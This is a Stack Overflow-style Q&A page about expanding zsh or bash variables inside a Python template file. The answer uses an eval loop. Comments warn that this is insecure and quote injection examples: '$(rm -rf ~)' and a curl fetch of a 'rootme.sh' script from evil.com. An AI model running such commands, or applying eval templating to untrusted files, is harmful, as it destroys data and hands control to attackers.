0

I have a myfile which contains lines like

#!/usr/bin/env python3
print("Hello world")
names = ('${(j:', ':)ZSH_VAR[@]}', )

I would like to pre-process this file with the environment variables in my loaded shell (zsh in my case, but a generic bash solution would also work nicely).

How can I do the equivalent of

$ declare -ga ZSH_VAR=( 1 2 3 )
$ preprocess < myfile

Such that the output is

#!/usr/bin/env python3
print("Hello world")
bar=('1', '2', '3', )
Zach Riggle
  • 2,975
  • 19
  • 26

1 Answers1

2

You can use eval for that purpose.

$ BAR=1234 FOO=abcd; while read -r line; do eval 'echo "'"$line"'"'; done < "file"

Or in script. (script.sh)

#!/bin/bash

while read -r line; do eval 'echo "'"$line"'"'"; done < "file"

# If you want to redirect the output into a file (out.txt).
# while read -r line; do eval 'echo "'"$line"'" >> out.txt'; done < "file"
# Or  this
# while read -r line; do eval 'echo "'"$line"'"'; done < "file" > out.txt

Then call the script like this:

FOO=abcd BAR=1234 ./script.sh 

Note

BE CAREFUL. MAKE SURE YOUR FILE DOES NOT CONTAINS rm commands. JUST TO BE SAFE.

Darkman
  • 2,941
  • 2
  • 9
  • 14
  • 1
    Only to be used if you trust the data, though. Much safer to use `envsubst` instead; no chance of a `$(rm -rf ~)` in your file destroying your home directory. – Charles Duffy May 11 '21 at 23:44
  • 2
    And if you _are_ going to use `eval`, better to use `eval 'echo "'"$line"'"'` so you don't have a line containing `* HELLO *` replace the `*`s with lists of filenames, or changing tabs to spaces, or deleting leading tabs, or so forth. Which is to say, as currently written, this answer has quite a lot of unexpected/undesired behaviors. – Charles Duffy May 11 '21 at 23:47
  • See demonstration of the above issues at https://ideone.com/mBq9IS – Charles Duffy May 11 '21 at 23:51
  • ...compare output of above to the less-broken (but still insecure) approach demonstrated at https://ideone.com/FjpPC0 – Charles Duffy May 11 '21 at 23:55
  • BTW, I'd suggest putting the `>>out.txt` after the `done`, not after the individual `echo` or `eval` -- that way you only open the output file once instead of re-opening it for every individual line. And at that point you can just use `>out.txt` unless you _explicitly_ want to keep the output of any prior invocations, instead of being forced to use the append operator. – Charles Duffy May 11 '21 at 23:58
  • 1
    (Note also the `IFS=` before the `read` in the link showing the fixed version -- that stops `read` from deleting leading and trailing whitespace before it even gets into the `line` variable!) – Charles Duffy May 12 '21 at 00:01
  • BTW, it's not like `rm` is the only dangerous command. Someone could have `$(curl http://evil.com/rootme.sh | curl)` in a template, and that's just as bad; maybe worse, if you don't notice and have someone encrypting/stealing your data while you rotate old backups out. – Charles Duffy May 12 '21 at 00:04
  • Good idea! However this doesn't solve my problem, which is that I need to edit a Python script template to replace a single value -- so the entire file is Python source, except for a single line to join an array `typenames = ('${(j:', ':)argv[@]}', )` – Zach Riggle May 25 '21 at 22:24